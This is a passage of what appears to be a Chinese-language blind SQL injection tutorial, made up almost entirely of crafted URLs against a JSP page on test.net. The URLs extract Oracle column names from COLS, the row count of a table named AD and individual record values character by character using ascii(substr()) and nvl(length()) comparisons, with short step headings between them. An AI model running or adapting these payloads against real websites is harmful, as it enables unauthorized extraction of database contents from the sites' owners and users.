    http://www.test.net/index_kaoyan_view.jsp?id=117 And 82>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 86=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 86>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 84=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 84>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 83=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 83=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 87=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 87>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 85=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 85>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 84=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 84=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),5,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),5,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 87=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),5,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 87>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),5,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 85=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),5,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 85>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),5,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 74=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),5,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 74>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),5,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 79=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),5,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 79=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),6,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),6,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 85=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),6,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 85>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),6,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 82=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),6,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 82=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),7,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),7,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 86=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),7,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 86>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),7,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 88=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),7,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 88>ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),7,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 89=ascii(substr((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),7,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=3)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=3)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=3)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 4>=nvl(length((SELECT COLUMN_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68) ORDER BY 2ASC)WHERE ROWNUM<=3)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)



    第一个记录的第一位值为:

    4、 猜解数据值:

     数据值长度为一位:1

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT COUNT(*)FROM AD)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT COUNT(*)FROM AD)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0=nvl(length((SELECT COUNT(*)FROM AD)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0>nvl(length((SELECT COUNT(*)FROM AD)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 1=nvl(length((SELECT COUNT(*)FROM AD)),0)


     数据长度为:9条记录
    http://www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT COUNT(*)FROM AD),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT COUNT(*)FROM AD),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 55=ascii(substr((SELECT COUNT(*)FROM AD),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 55>ascii(substr((SELECT COUNT(*)FROM AD),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 56=ascii(substr((SELECT COUNT(*)FROM AD),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 56>ascii(substr((SELECT COUNT(*)FROM AD),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 57=ascii(substr((SELECT COUNT(*)FROM AD),1,1))


    以下猜解记录值

     第一行第一列记录的长度为:1,值为:1
    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0>nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 1=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))



     第一行第一列记录的长度为:1,值为:2

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0=nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0>nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 1=nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=1)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))



     第二行第一列记录的长度为:1,值为:2

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0>nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 1=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 49>ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 50=ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))



     第二行第二列记录的长度为:1,值为:2

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0=nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0>nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 1=nvl(length((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 49>ascii(substr((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 50=ascii(substr((SELECT ID FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=2)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))



     猜解第三个记录的长度为:(其它记录依次类推)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=3)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=3)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=3)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0>nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=3)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 1=nvl(length((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=3)ORDER BY 2DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=3)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=3)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT CLASS FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM AD ORDER BY 2ASC)WHERE ROWNUM<=3)ORDER BY 2DESC)WHERE ROWNUM<=1),1,1))



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